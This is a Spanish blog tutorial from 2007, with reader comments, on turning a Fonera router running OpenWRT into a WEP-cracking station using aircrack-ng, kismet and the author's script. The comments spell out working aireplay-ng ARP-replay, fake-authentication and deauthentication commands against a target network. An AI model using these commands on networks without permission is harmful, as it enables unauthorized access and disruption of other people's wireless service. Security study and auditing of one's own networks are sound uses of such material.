11 abril 2007

Fonera como centralita aircrack

ACTUALIZADO: 21-04-2007 a las 11:52 (esto significa que os volvais a bajar el script)

Hace días expuse como convertir la fonera en un cliente wireless, hoy vamos a flashearla para convertirla en una centralita aircrack, capaz de inyectar y todo oiga.

Y mirad mi script :D :



Instalando OpenWRT

Al lío:

1 - Doy por hecho que hemos abierto el redboot de la fonera (aquí KaR]V[aN lo explica)

2 - Nos bajamos los siguientes archivos:

Y los dejamos en el directorio principal de nuestro servidor tftp (si no sabes ni lo que es, te recomiendo mirarte el artículo del ddwrt, la sección del tftp).

Esquema de la red que tendremos:


3 - Desenchufamos la fonera y preparamos varias cosas:
  • Una consola haciendo un "ping 192.168.1.254"
  • Este archivo en el home mismo.
  • Otra consola con el comando "nc -vv 192.168.1.254 9000 < break" (donde break es el nombre del archivo que hemos descargado) pero ojo! sin ejecutarlo, solo escrito.
4 - Enchufamos de nuevo la fonera y en cuanto el ping responda ejecutamos el nc previamente explicado. En cuanto salga la palabra "RedBoot>" podremos seguir al siguiente paso.

5 - Abrimos otra consola y ejecutamos "telnet 192.168.1.254 9000"

6 - Seteamos la red del redboot de la fonera (a partir de ahora todos los comandos se ejecutarán en el telnet que tenemos abierto eh):
ip_address -l 192.168.1.254/24 -h (la ip de tu PC)
7 - Y ejecutamos los siguientes comandos (no hay que preocuparse si tardan demasiado). En el caso de que se pierda la conexión volveremos a empezar desde el paso 3.
fis init
load -r -v -b 0x80040450 openwrt-atheros-2.6-root.jffs2-64k
fis create -b 0x80040450 -f 0xA8030000 -l 0x00700000 -e 0x00000000 rootfs
load -r -b %{FREEMEMLO} openwrt-atheros-2.6-vmlinux.lzma
fis create -r 0x80041000 -e 0x80041000 vmlinux.bin.l7
fis load -l vmlinux.bin.l7
8 - Reiniciamos la fonera

Instalando aircrack-ng y kismet

Entramos en la fonera:
telnet 192.168.1.1


Y cuando estemos dentro ejecutamos:
passwd root


Introducimos la nueva pass y alehop. A partir de ahora para entrar en la fonera bastará con usar ssh.

Aircrack:

1 - Bajamos los paquetes de sus repositorios:
2 - Los copiamos a la fonera (hay diversos métodos: montad un apache en vuestro PC, bajaroslos directamente de internet con la fonera, usad netcat, un servidor ftp...) en el directorio /tmp

3 - en la fonera ejecutamos:
# ipkg install libpthread_0.9.28-8_mips.ipk
(blablabla)
# ipkg install aircrack-ng_0.7-1_mips.ipk
(blablabla)
# rm *.ipk

Kismet:

1 - Bajamos los paquetes:
2 - Los copiamos a la fonera en /tmp

3 - Ejecutamos en la fonera:
# ipkg install libncurses*
(blablabla)
# ipkg install libpcap*
(blablabla)
#ipkg install libpcap_0.9.4-1_mips.ipk
(blablabla)
# ipkg install uclibcxx_0.2.1-1_mips.ipk
(blablabla)
# ipkg install kismet-client_2007-01-R1a-1_mips.ipk
(blablabla)
# ipkg install kismet-server_2007-01-R1a-1_mips.ipk
(blablabla)
# rm *.ipk


4 - Editamos el archivo /etc/kismet/kismet.conf con vi:
# vi /etc/kismet/kismet.conf
(pulsamos "i")
(bajamos hasta la linea source=****** (no recuerdo lo que ponía por defecto) y la sustituimos por source=madwifi_g,wifi0,wireless)
(pulsamos escape)
(escribimos ":wq!" y pulsamos enter)


5 - Para ejecutar kismet hay que ejecutar primero el kismet-server y después el kismet-client, vamos a agilizar la tarea con un script:
# vi /bin/kismet
(pulsamos "i")


Y escribimos:
#!/bin/ash
trap "rm -r /tmp/.kismet/ & rm -f /tmp/Kismet*" 1 2 3 9 15
echo "Please, wait..."
kismet_server 1>>/dev/null 2>>/dev/null 3>>/dev/null &
sleep 5
kismet_client -s 127.0.0.1:2501
killall kismet_server
rm -r /tmp/.kismet/
rm -f /tmp/Kismet*


Pulsamos escape, escribimos ":wq!" y pulsamos enter. Ahora ejecutamos:
# chmod +x /bin/kismet

Ya tenemos listo el kismet. Basta con ejecutar "kismet" para comprobarlo.


Instalando Airfoncrack (hecho por mi :D)

Usar aircrack en la fonera es un rollo de comandos, así que he hecho un script para agilizar la tarea considerablemente (hace uso de dialog, por lo que lo deberemos instalar).

Instalando dialog:
1 - Bajamos los paquetes
2 - Los copiamos en el /tmp de la fonera

3 - Ejecutamos en la fonera:
# ipkg install dialog*
(blablabla)
# rm *.ipk


Ahora toca adaptar un poquito el entorno para mi script. Explicación: mi script captura los ivs y los guarda en un archivo en /tmp/www para que después desde tu ordenador puedas descargar ese archivo por http y crackearlo desde tu PC. Por ello vamos a editar el /etc/init.d/httpd:
# vi /etc/init.d/httpd
(pulsamos "i")


Nos vamos a la linea:
[ -d /www ] && httpd -p 80 -h /www -r ${hostname:-OpenWrt}
Y la editamos por esto:
mkdir /tmp/www
[ -d /tmp/www ] && httpd -p 80 -h /tmp/www -r ${hostname:-OpenWrt}

Pulsamos escape, escribimos ":wq!" y pulsamos enter.

Ahora descargamos mi script y lo guardamos en el /bin de la fonera con el nombre airfoncrack. Después ejecutamos:
# chmod +x /bin/airfoncrack


Y listos. Reiniciad la fonera.

Si quereis probarlo, solo debeis ejecutar "airfoncrack". Tiene unos menús muy intuitivos. Si teneis alguna duda no dudeis en postear.

Por favor, si os ha servido de ayuda mi script, quiero saberlo :P comentad que tal os rula, necesito betatesters.

89 opiniones irrelevantes más:

Zaikar dijo...

Fantastico!!!.
Muchisimas gracias, aun no lo he provado, acabo de poner el Kamikaze en mi fonera, ( y no tengo mucha idea que digamos ), pero en cuando lo prueve te digo cosas, aunque por lo que he visto, es fenomenal!!!
Gracias!

Zaikar dijo...

Ya he provado tu "How To" y tu script!.
He tenido unos cuantos problemas :S
El kismet-server y kismet-client no me arrancan, cuando en la consola pongo "kismet-server" me pone:
"-ash: kismet-server: not found"
Y lo mismo con el kismet-client...
No se si tendras alguna idea....
Y tengo una dudilla... tu script inyecta??, o solo snifa?.
Muchisimas gracias!!!

Nitz dijo...

Si kismet-server y kismet-client no arrancan es sin duda por no estar instalados. ¿Puedes darme la salida del ipkg install kismet-server(blablabla).ipk? recuerda que estas instalando un paquete ipk de tu directorio y no un paquete de los repositorios, has de poner el nombre completo.

Por otra parte mi script inyecta, pero aireplay no dura infinitamente (de momento). Estoy arreglandolo, pero estoy muy ocupado de momento :P

Saludos

Nitz dijo...

Ok, vale. No se te instala el kismet porque se me olvidó comentar la instalación de la libreria libpcap. Sigue de nuevo los pasos de la instalación del kismet y todo rulará.

Anónimo dijo...

Hola muy buenas, e leido to post y lo e puesto en la fonera, todavia no lo e provado, per me da un error el kismet, cuando lo arranco poniendo kismet, me dice un error con la direccion de 127... no se si es nrmal pero bueno, y otra cosa inyecta?

Anónimo dijo...

otra cosa cuando estoy terminando, en donde te recuerda donde guardas los archivos, no hace nada mas, hay ke hacer algo deberia de hacerlo el... gracias, por ahora a pesar de mi ignorancia me esta gustando vastante.

Nitz dijo...

Intenta ejecutar a mano "kismet-server" y desde otra consola ejecuta "kismet-client". Creo que eso del 127.0.0.1 me suena y no es nada malo.

Esto no lo pillo:
"otra cosa cuando estoy terminando, en donde te recuerda donde guardas los archivos, no hace nada mas, hay ke hacer algo deberia de hacerlo el"

No sé a qué te refieres.

Marcos Rullan dijo...

muy buenas nada lo e comentado con zaikar, y creo ke ya se lo ke es, aun asi te lo explico mejor XD, cuando termina el escript cuando te dice donde lo kieres guardar, te lo termina recordando y me aparece diciendo ke los programas aireplay y airdump ya se estan ejecutando y se keda ahy. Creo ke hay ke modificar algo pero bueno ya lo posteare si lo arreglo.
Como aportacion, si te interesa, algo util por lo menos para mi, es ke si te kieres conetar a la fonera por medio de una pda, como yo, se supone que debes de crear dos wifi para que una funcione con el aircrack y la otra con la pda para ke no se cierre la conection con la pda, entonces estaria bien que tambien pudieras eleguir con que ath... arrancara el aircrack. un saludo.

Marcos Rullan dijo...

Entiendo ke para rular el aircrack no nececitas de ke arranke el kismet solo de ke este instalado, o me equivoco

Anónimo dijo...

oye colega, este es el aircrck-ptw ese nuevo que desecripta WEP con solo 70.000 paquetes.

Esto inyecta paquete

graciass??

Anónimo dijo...

bueno que me ha parecio mu interesante!

el aircarck-ptw ha salio hace nada y lo bueno es que en vez de necesitar 1.000.000 de paquetes xa una encreptacion de 104 bit, ahora solo necesitas 70.000 paquetes.

A ver si lo puedes incluir.

felicidades!! me pongo esta pagina el favoritos xa estar atento

Nitz dijo...

Los paquetes los capturas igual. El nuevo aircrack lo debes instalar en tu PC, descargarte el archivo de ivs que crea la fonera y crackearlo desde tu PC.

Hay que recordar que la gracia de la fonera es inyectar, y no crackear la WEP.

Anónimo dijo...

puedes publicarlo aqui tambien.......

http://www.seguridadwireless.net/foro/index.php/board,36.0.html


*dudux

Nitz dijo...

Mmm registrarme en un foro para publicar un enlace a mi blog ya me parece un poco descarado, roza el spam.

Si quereis publicarlo vosotros, adelante (pero respetad al autor :P)

Anónimo dijo...

pues da =.........lo dejamos como esta

*dudux

Anónimo dijo...

A mi me da este error , que es y como puedo solucionarlo.
Gracias

Please, wait...
Using server: 127.0.0.1:2501
NOTICE: configdir '/tmp/.kismet/' does not exist, making it.
NOTICE: Group file did not exist, it will be created.
FATAL: Could not connect to 127.0.0.1:2501.
killall: kismet_server: no process killed

Nitz dijo...

¿Te acuerdas del sleep del script para el kismet?

Sustituye el "sleep 5" por "sleep 10"

Lo que pasa es que no le das tiempo al kismet-server para arrancar, y claro, el kismet-client peta :)


Apuesto a que si ejecutas de nuevo "kismet" te rula.

Anónimo dijo...

ok ya esta solucionado.
Por cierto como puedo pasar un fichero del pc a la fonera, por ftp, o algo parecido.

Nitz dijo...

Tienes varias formas para pasar un archivo a la fonera:

- Montar un servidor FTP en tu ordenador y desde la fonera ejecutar:

wget ftp://tu-ip/archivo

- Montar un servidor HTTP en tu ordenador y desde la fonera ejecutar:

wget http://tu-ip/archivo

Tienes varios manuales y es muy sencillo hacer esos dos pasos. Ahora explico uno que me gusta:

Usando el netcat:

Doy por supuesto que lo tienes instalado en tu distribución (ya sea debian, mandriva, ubuntu...). Si tienes windows pues te bajas la versión pa win.

En tu PC ejecutas:

nc -vv -l -p 4321 < archivo

Y en la fonera ejecutas:

nc tu-ip 4321 > archivo

Esperas un rato (depende del tamaño del archivo) y cuando creas que ya se ha pasado del todo (si es un archivo de texto es casi instantaneo) pues apretas ctrl+c en tu ordenador y en la fonera.

Anónimo dijo...

ok gracias por el nc me salta antivirus y cortafuegos. (es un follon).

estoy probando por ftp, pero la fonera me da error de login y password , como se pone login y password en el comando wget.

el programa que utilizo filezilla server, pero no veo la opcion del servidor de ftp sin nombre de usuario y password.

Anónimo dijo...

me contesto yo mismo. sehace asi:
wget ftp://login:password@IP/fichero

Anónimo dijo...

Hola, una manera facil de subir archivos a la fonera desde linux es asi:
# scp archivo root@192.168.1.1:/tmp y lo sube por ssh, los de win usad winscp.

Nitz, tu script va de puta madre pero no me inyecta tio, la data no sube :(

pd: en el post viene primero instalar el kismet_client y despues las ncurses, hay que hacerlo al reves por que da error de dependecias, el resto genial

Un saludo, Cariad0

Nitz dijo...

Corregido lo de las dependencias ;)

Lo de que no inyecta... lo que pasa es que tienes k esperar a que haya un arp-request para poder empezar

Pablo dijo...

parece q va genial! lo he puesto a funcionar y captura de miedo...
lo que me preguntaba es sobre la capacidad de la fonera y la cantidad de paquetes que es capaz de almacenar y por lo tanto que hace si llega al limite de capacidad.

otra preguntita es para cambiar la ip de la fonera, el 192.168.1.1 lo uso para otras cosas. Antes tenia ddwrt y sabia dnd cambiarlo ahora ya no estoy seguro que arhicivo modificar

un saludete y un gran enhorabuena por este trabajo, esta genial!

Nitz dijo...

Para cambiar la ip creo recordar que habia que editar el archivo
/etc/config/network

Sustituyes la IP por la que quieras y ale.

Lo siento, pero no tengo ninguna fonera a mano (me da perrería sacarla del cajón).

Sobre la capacidad... Tengo un amigo que llegó a capturar hasta un millón de paquetes.

Saludos

Pablo dijo...

Ok, gracias, ya esta cambiada.... y ahora... alguna forma de que el script siga ejecutandose aunque no haya ningun cliente conectado por ssh?
que por ejemplo me conecte por ssh abra el script, cierre la sesion ssh y si eso de vez en cuando conectarme por http y ver el TXT que genera en el directorio /tmp/www para ver el estado... y para que pare... apagarla :P

un saludete

Nitz dijo...

Pues estoy probando en pulsar ctrl+Z para dejarlo en segundo plano.

Eso lo consigo, lo que no consigo es cerrar el ssh y que los procesos aireplay y airodump no se cierren.

Después de selectividad intentaré arreglarlo. Si alguien tiene la solución pues que la postee.

Pablo dijo...

un comando que parece que puede usarse es "screen" pero no estoy muy familiarizado. Se supone que puede mantener la ejecucion remota aunque no lo visualices, pero eso, que no lo manejo.

La verdad es q no he conseguido capturar casi ninguna IV y no estoy seguro si esta inyectando paquetes...
un saludo

Pablo dijo...

weno, con screen lo máximo que consigo es poder cerrar todas las ventanas de los terminales y que sigan ejecutandose. Pero mi idea es mas bien que la fonera ejecute el script independiente del PC. Y la inyecion de paquetes creo q no funciona.
un saludt

Nitz dijo...

¿Que la fonera lo haga independientemente? No te entiendo :S

Si el screen rula bien pues dejas ejecutandose el script, cierras los terminales y apagas el PC. A la mañana siguiente vuelves, te descargas el archivo y ejecutas aircrack en tu PC. ¿Qué problema hay?

Lo de la inyección sé que a veces no da los resultados esperados. Eso es porque no logra "pillar" un paquete llamado ARP REQUEST. En cuanto snifa uno lo utiliza para generar más e inyectarlos.

Yo en las pruebas que he hecho en mi casa tarda unos 8 minutos en snifar ese paquete, después los ivs suben como la espuma.

Y si aún así veis que podeis mejorarlo, os animo a ello :)

Eso sí, colgadlo depués en algun sitio o pasadmelo de alguna forma.

Saludos

ZeroKing dijo...
El autor ha eliminado esta entrada.
ZeroKing dijo...

una preguntita para el autor, puedo instalar el script en la fonera, ejecutarlo, "salir" de la fonera, y que haga ella el curro, y volver a conectarme a ella al dia siguiente por ejemplo? no se si me he explicado bien :D... supongo q con screen como dicen mas arriba se puede... pero como es exactamente como lo he de hacer? un saludo. ZeroKing

Nitz dijo...

Lo primero sería instalar screen en la fonera.

Después entras por ssh y el comando sería:
screen airfoncrack

Lo dejas rulando y para salir pulsas ctrl+a+d

Sales del ssh

Cuando vuelves a casa despues de X tiempo, abres un ssh y escribes:
screen -r PID

Donde PID es el pid del proceso airfoncrack o del que quieras.

Yo lo de "volver" no lo usaria, mejor ir bajando el paquete de ivs, intentar crackearlo y, cuando se consiga, killear el proceso del air*

Gokuhs dijo...

Hola a todos, yo decir que e segido todo todito todo tu tuto y vamos esto es una maravilla, me va todo ok tu escript y todo aun asi tengo unas preguntas y una sugerencia;

Empiezo por la sugerencia va? es que podeis añadir el repositorio con aircrack y demas utilidades con:

vi /etc/ipkg.conf

pulsamos "i" y en el final añadimos:

src X-Wrt http://downloads.x-wrt.org/xwrt/kamikaze/snapshots/atheros-2.6/package

depues pulsamos "esc" y recleamos ":wq!"

y para terminar escribimos el comando ipkg update

asi si tenemos la fonera conectada a interenet es mas facil descargar los poquetes, simplemente con "iplg install 'nombre del paquete'" ;-)


Ahora mi duda, como hago para que cuando esta "snifando" en vez de guardarme los paquetes en la fonera me los valla guardando en el PC, ya que como bien sabemos la fonera tiene el espacio limitado y si tenemos que conseguir un giga de datos... disculpad si os resulta una blasfemia la duda aun no estoy muy suelto en el tema ;-(

Saludos y enhorabuena por todos los tutoriales

Nitz dijo...

1 - No hago el update justamente para ahorrar espacio. La base de datos del ipkg ocupa un espacio vital.

2 - Los paquetes de ivs guardados no suelen ocupar mucho

3 - Si aún así quieres seguir guardando los paquetes en el PC, te recomiendo montar los discos del PC en la fonera. En google hay información.

Gokuhs dijo...

Ola de nuevo nitz.

Segui lo que me decias de intentar montar un recurso compartido en samba en la fonera pero por mas vueltas que le e dado no e conseguido hacer nada.

El objetivo de quererlo montar es para hacer capturas en formato "cap· no solo los IVS para poderle pasar el aircrack-ptw ya que no funciona con IVS.

Sobre lo que te comentaba sobre lo de los repositorios yo te lo recomiendo, si quieres ahorrar espacio simplemente despues de actualizar o lo que quieras hacer borras las fuentes que se descarga y ya esta ;-)

Saludos y gracias

Fitti dijo...

Hola,

Acabo de seguir tu guía y tenia la duda de si tu script es capaz de reinyectar por si solo o si solo captura paquetes.

Comentarte que hay un par de enlaces a paquetes que no van porque han salido versiones más nuevas y que he tenido que crear 2 enlaces simbólicos a los archivos de config de kismet porque las rutas no coincidían. Por lo demas muy buen trabajo. Voy a probar contra mi red wifi.

Muchas gracias.

Nitz dijo...

Es capaz de reinyectar por si solo si consigue capturar algun paquete ARP-Request.

Un amigo (joca) me ha dicho que han recompilado en la nueva versión de openwrt el módulo madwifi, mejorando la reinyección.

La verdad es que llevo un tiempo fuera de la scene de la fonera, quizás instale el openwrt nuevo (no sé por qué versión van) y reescriba el script desde cero.

Saludos

trovador dijo...

Nitz como puedo instalar el ipk del screen, no se como hacerlo.
Tengo la fonera con openwrt kamikaze r6511
Gracias.

Nitz dijo...

Primero te descargas el ipk en la fonera, con el comando wget mismo:

wget http://direccion/del/paquete.ipk

Y después para instalarlo:
ipkg -i paquete.ipk

Saludos

trovador dijo...

hola nitz. Antes de nada gracias por tu contestación tan rápida. He instalado el screen como me dijiste y no me dió ningún error. Ahora puedo matar el proceso con Ctrol + a + d y mediante el winscp veo que está capturando paquetes. He intentado volver a la pantalla con el comando "screen -r PID" y me da un error y me dice que no encuentra algo en un directorio.

Respecto a la inyección creo que hay algo que no va del todo bien. Me explico, el otro día audité una red y me capturaba, y no te exagero, un data por cada 5 segundos y además constantes. He tardado apróximadamente una semana. Te lo comento por si puedes al final realizar otro scrip con el nuevo openwrt como te dijo tu amigo "joca".
Gracias.

Nitz dijo...

Mmm... prueba screen -rd PID

Sobre lo de la inyección... veamos:

El script tiene varios bugs, como por ejemplo intentar crackear un ESSID que contenga espacios (pensé que lo habia resuelto, pero no :$).

Por otra parte, si miras el código fuente, únicamente lo que hace es:

[Consola 1]
wlanconfig ath0 destroy
wlanconfig ath1 destroy
wlanconfig kis0 destroy
wlanconfig ath0 create wlandev wifi0 wlanmode monitor
iwconfig ath0 rate 1M
ifconfig ath0 up

airodump-ng --ivs -w /tmp/www/airfoncrack-packages --channel $CANAL --bssid $BSSID ath0

Sustituye $CANAL y $BSSID por los datos de la respectiva red. Con esto ya tenemos lanzado el airodump. Luego explico como obtenerlos.

[Consola 2 (no cierres la anterior)]
aireplay-ng -3 ath0 -b $BSSID -h $MAC ath0

Sustituye $BSSID por el correspondiente y $MAC por la MAC de tu fonera. También explico luego como obtenerlos.

[Consola 3 (no cierres nada aún)]
while true; do aireplay-ng -1 1 -e "$ESSID" -a $BSSID -h $MAC ath0; done

Sustituyendo y tal.

Esto es todo, cuando recibas un ARP-REQUEST (en la segunda consola), te empezará a inyectar a saco.

Cosas a tener en cuenta:
1) Solo captura ivs! Así te puede caber 1.000.000 de ivs sin que se quede sin memoria (el archivo ocupará unos 7 megas). Esto quiere decir que no captura en un archivo .cap, donde está todo el tráfico, luego el aircrack-ptw no te rulará. Si quieres el cap entero, modifica el último comando de la primera consola, pero que sepas que no lograrás capturar más de 10.000 datas sin que la fonera se pete (la memoria donde se guarda el archivo es en la RAM, la cual no tiene más de 7 megas libres)

2) La red crackeada no puede estar en un canal > 11. Esto es problema del hard de la fonera, no logra superar esa frecuencia (que le vamos a hacer)

3) Bajaros el archivo antes de superar los 1.000.000 ivs, sino la fonera se quedará colgada (falta de ram) y tendreis que reiniciarla. Eso quiere decir que vuestro archivo desaparacerá.

4) Tened paciencia. Los ARP-REQUEST son difíciles de conseguir, pero con sólo uno la red ya es tuya.

Ahora, como conseguir los datos:

Antes de empezar a crackear, debes hacer una escaneada.

Para eso ejecutad de antemano:
wlanconfig ath0 destroy
wlanconfig ath1 destroy
wlanconfig kis0 destroy
wlanconfig ath1 create wlandev wifi0 wlanmode sta
ifconfig ath1 up

y acto seguido, podeis ejecutar tantas veces como querais este comando:

iwlist scan

Con ese comando sacareis toda la información que necesiteis sobre la red ($BSSID, $ESSID y $CANAL).

Finalmente, para sacar la $MAC de vuestra tarjeta, ejecutad iwconfig ath0.

Y proximamente me voy a currar una actualización del script, no os preocupeis (no tengo tiempo para nada)

trovador dijo...

Hola Nitz, muy rápida tu contestación. Así da gusto. Muchas gracias.
He probado tu comando para el screen y me devuelve la consola
"There is no screen to be detached matching PID".
Espero inpacientemente tu nuevo script, espero que sea pronto. La verdad es que eres un fenómeno. Gracias por todo.

Salva dijo...

Gracias Nitz por este estupendo trabajo. No lo he probado aún, pero lo haré esta noche o mañana, aunque leyendo los comentarios se ve con muy buena pinta. Ya os contaré.
Tengo una duda con los comentarios que se han hecho sobre la base de datos del ipkg y como afecta a la memoria libre. No tengo claro si esta bbdd se almacena en la ram o en la flash: si es en ram, tras hacer un ipkg update he instalar los paquetes necesarios con resetear la fonera ya tendriamos liberada la memoria; si en flash no debería afectar a la ram libre para poder capturar IVs. Espero haberme explicado.

Por otro lado tengo una consulta que quizá quede fuera de este ambito, pero allá va: con este invento (fonera + openwrt) es posible tener configurado varios perfiles wifi y que la fonera se conecte con el primer perfil disponible (tal como hacen los clientes normales de wifi), ¿como?

Muchas gracias y un saludo a todos.

Nitz dijo...

La única partición configurada de fábrica para montarse en la RAM es /tmp (o /var, es un enlace simbólico). La base de datos se guarda en /etc, así que estaría situada en la flash.

Por otro lado, eso que dices de la wifi conectada a diversos clientes... Quizás con ddwrt se pueda hacer (lo tengo que probar).

Con OpenWRT se puede hacer, programando un script que lo haga xD

Venga un saludo

Salva dijo...

Hola Nitz. Ya me he instalado tu script, y cuando lo he probado no inyectaba.

Tengo la fonera con openwrt y con x-wrt, estos son las versiones:

Firmware OpenWrt Kamikaze - With X-Wrt Extensions 7.09
Kernel Linux 2.6.21.5 #2 Sun Sep 30 20:16:16 CEST 2007
Device La Fonera (ACCTON MR3201A)
Board Atheros AR2315
Web mgt. console Webif²
Versión r3640

He adaptado la configuración del httpd para que sirva el fichero de IVs por otro puerto (10080) y poder seguir usando x-wrt, aunque en realidad estoy usando scp para coger el ficherito.

Bueno como decía al principio, al probar el airfoncrack he visto que no inyectaba. He probado a lanzar los procesos en varias consolas como describes en tu post del "9:11 PM, noviembre 14, 2007".
Al lanzar el comando "aireplay-ng -3 ath0 -b $BSSID -h $MAC ath0" en la consola2 me ha dado error. He revisado la sintaxis y creo que hay un ath0 de más, he quitado el primero y así si funciona. He visto que en script también está el ath0 de más.

Por cierto, al comienzo del blog indicas que el script está actualizado al 21/4 (creo), pero en el script que he bajado aparece "Fecha final: 11-04-2007", ¿es correcto?

Un saludo.

Salva dijo...
El autor ha eliminado esta entrada.
Nitz dijo...

Sobre lo del ath0... Pues es raro, a mi me funciona perfectamente así :S ¿Qué modelo de fonera tienes? el 2100 o el 2200?

Sobre lo del airfoncrack... Está plagado de bugs, no te lo puedo negar.

Esto fué un script que hice en una tarde para no tener que andar escaneando a pelo desde la linea de comandos.

Sobre lo de las versiones... hazle caso SIEMPRE a la más actual xDDD Me habré olvidado de editarla en el code.

Y lo dicho, dentro de X tiempo desarrollaré una versión seria del script, más gráfica (espero que funcione un experimento que tengo en mi lista de tareas) y más eficiente.

n dijo...

Hola.
Muchas gracias por la guia.
Todo marchaba bien hasta q he intentado lanzar el Kismet.
Me da el siguiente error:

root@Fonera:/# kismet
Please, wait...
Using server: 127.0.0.1:2501
NOTICE: configdir '/tmp/.kismet/' does not exist, making it.
NOTICE: Group file did not exist, it will be created.
FATAL: Could not connect to 127.0.0.1:2501.
killall: kismet_server: no process killed
root@Fonera:/#


Ya he copiado los archivos archivos kismet.conf, kismet_ui.conf, ap_manuf y client_manuf al directorio /etc/ y tambien he modificado el script que lanza el Kismet para que espere 10 segundos.

Alguna sugerencia sobre cómo solucionar el problema?

Gracias y un saludo.

Nitz dijo...

En el script del kismet, pon un sleep de mayor retardo. Modifica el que ya hay.

n dijo...

Hola.
Gracias pro la respuesta. Ya habia aumentado el tiempo a 10 segundos, pero por si acaso he puesto 1 minuto y sigue igual. He indagado un poco mas, y parece ser que lo que falla es el kismet_server. Al intentar lanzarlo se queja precisamente de la linea que añadimos manualmente en el kismet.conf:


root@Fonera:~# kismet_server
...
FATAL: Unknown capture source type 'source=madwifi_g' in source 'source=madwifi_g,wifi0,wireless'


Pero aqui ya me pierdo y no se como solucionarlo.

Un salduo!

Jose Maria dijo...

He encontrado una forma bastante rapida de conseguir los arp requests, os dejo la info a ver si pudieseis indicar como añadirlo al script, ya que creo que nos vendra de perlas.

El método agresivo

La mayoría de los sistemas operativos limpian la cache de ARP cuando son desconectados. Si los clientes quieren reconectarse
tienen que enviar “ARP requests”. Por lo tanto la idea es desconectar a un cliente para forzarlo a que se reconecte y así
capturar un “ARP-request”. Otra ventaja es que podremos conocer el ESSID durante la reconexión, por lo que es muy útil si el
ESSID de su tarjeta está oculto.

Deje corriendo airodump-ng y aireplay-ng. Abrá otra ventana y ejecute un ataque de deauthentication:

aireplay-ng --deauth 5 -a BSSID -c MAC ath0

-a es el BSSID del AP, -c la MAC del cliente.

Espere unos segundos y su “arp replay” debería comenzar a funcionar.

La mayoría de los clientes se reconectan de forma automática. Pero el riesgo de que el cliente reconozca este ataque o que por
lo menos le llame la atención es muy alto.

Enric dijo...

Soy un ignorante en Linux, poseeador de dos bonitas Foneras. La primera está a la espera de "resucitarla" después de un mal flasheo, pero a base de manuales, la tercera la tengo corriendo felizmente en OpenWRT Kamikaze.

El penúltimo manual que seguí me permitió montar en la Fonera un directorio de mi PC con CIFS, con lo cual tengo una capacidad de almacenamiento considerabel.

El último es el tuyo. Kimet me daba problemas, parece ser que busca los archivos que estan en /etc/kismet directamente en /etc. Como no sabía hacer otra cosa me meti en /etc/kismet y le casqué un mv * .. para que se fueran al /etc, pero no creo que sea lo más aconsejable.

Pregunta 1: ¿Alguna sugerencia?

En el directorio /etc me crea 4 archivos Kismet-Jan-01-2001 con las extensiones csv, dump, network y xml.

Pregunta 2: ¿Me sirven de algo estos ficheros?

Siendo que mi capacidad de almacenamiento es enorme (comparada con la original de la Fonera), y que para conseguir un milloncete de paquetes, que es lo que aconseja aircrack, necesito unas 4 horas,

Pregunta 3: ¿Que instrucciones debería darle al airodump para que me recogiera los datos compatibles con aircrack-pwt?

Gracias muchas, oh enorme maestro ;)

(un dia de estos me casco un tutorial para lerdos como yo, desde la llegada de la Fonera a casa hasta la primera WEP crackeada)

Nitz dijo...

Respuesta 1 1/2: Cojonudo el mv. Eso le hice yo a mi padre en su día cuando se instaló el kismet.

Pregunta 1 2/2 && 2: Bien, sobre los archivos esos... Se han creado por haber ejecutado el kismet.

Son un log de tu captura con kismet. Para que no se guarden, revisa las opciones de kismet de la siguiente manera:

kismet -h

Te aparecerán varias opciones, no recuerdo cual era, pero sé que existía una para que no guardara logs (puedes modificar el script que creamos para arrancar kismet para que no los guarde ;))

Pregunta 3: Creo que la opción para que sean compatibles era quitar el --ivs en la llamada al airodump :D

Si tienes alguna duda, después de los examenes no me importará montar de nuevo la fonera, y ya de paso haré lo que tengo pensado mwahahahaha

Enric dijo...

Muchas gracias por tu puntual y detallada respuesta.

Lo del log de captura de Kismet era más por si podía tener alguna utilidad, casi por chafardería.

Lo de quitar el --ivs, sí, es cierto, cuando ya lo había preguntado me he repasado el manual del aircrack-ptw de nuevo (RTFM - Read The Fucking Manual, que siempre pecamos de lo mismo) y me he dado cuenta.

Una virguería, alucinante... 41.565 paquetes, utilizando tu método manual de las tres cónsolas (en la segunda te sobra el primer ath0) y aircrack-ptw me ha resuelto una WEP de 104 en unos segundos.

Lástima que no tengo NPI de como configurar un acceso wireless con mi PDA para abrir el SSH desde ahí, ni mucho menos como mapear su SD como unidad virtual de la Fonera.

Pero todo se andará.

¡Que vayan bien los exámenes!

CBTU dijo...

He hecho paso a paso todo y cada una de los pasos, pero cuando le doy al script para ejecutar, me da este error, alguna explicacion? muchas gracias de antemano

root@OpenWrt:~# airfoncrack
/bin/airfoncrack: line 1: {rtf1ansiansicpg1252cocoartf949: not found
/bin/airfoncrack: line 2: {fonttblf0fswissfcharset0: not found
/bin/airfoncrack: line 3: {colortbl: not found
/bin/airfoncrack: line 3: red255green255blue255: not found
/bin/airfoncrack: line 4: paperw11900paperh16840margl1440margr1440vieww9000viewh8400viewkind0: not found
/bin/airfoncrack: line 5: pardtx560tx1120tx1680tx2240tx2800tx3360tx3920tx4480tx5040tx5600tx6160tx6720qlqnaturalpardirnatural: not found
/bin/airfoncrack: line 7: f0fs24: not found
/bin/airfoncrack: line 15: syntax error: "(" unexpected

Nitz dijo...

Es el bug más lol que he visto desde que este post está abierto xDD

Mmmm... Pasteame tu script, a ver como lo tienes hecho (subelo a http://www.rafb.net/paste/)

CBTU dijo...

http://rafb.net/p/ol7CqZ35.html

que velocidad d respuesta! gracias!

CBTU dijo...

hay que decir que lo he subido a /bin como un archivo de texto, ya que no sabia como subirlo de otra forma!es esto un problema?

Nitz dijo...

No, no, no te procupes, es como se debe hacer.

Es raro eh... mmm...

Este script lleva fallando desde hace mucho (en su día rulaba, lo puedo jurar), ya que han cambiado muchas suites (airodump, kismet, etc).

Veamos, sigue estos pasos que creo que he comentado en otro comentario:

http://rafb.net/p/7KFSIH91.html

Saludos

CBTU dijo...

Gracias Nitz, creo que voy a tener que volver a instalar todos los paquetes otra vez, tampoco me funciono el kismet, y el aircrack tampoco lo encuentro, auqnue juraria que los he subido y instalado! no se, ya tengo con que ocuparme este finde:)

y encima, al probar el "wlanconfig ath0 destroy" me dice no such device! es como reirse en mi cara! ya te contare como ha ido. Un saludo y muchas gracias

Nitz dijo...

No pasa nada por el destroy. Es normal.

El destroy se usa porque es necesario destruir todas las interfaces creadas con anterioridad para crear una nueva (y el modo en que nos cargamos todas es a lo basto, a prueba y error).

Venga, saludos

trovador dijo...

Nitz he intentado acceder a la páginas que insertas y no van.
http://rafb.net/p/ol7CqZ35.html
http://rafb.net/p/7KFSIH91.html
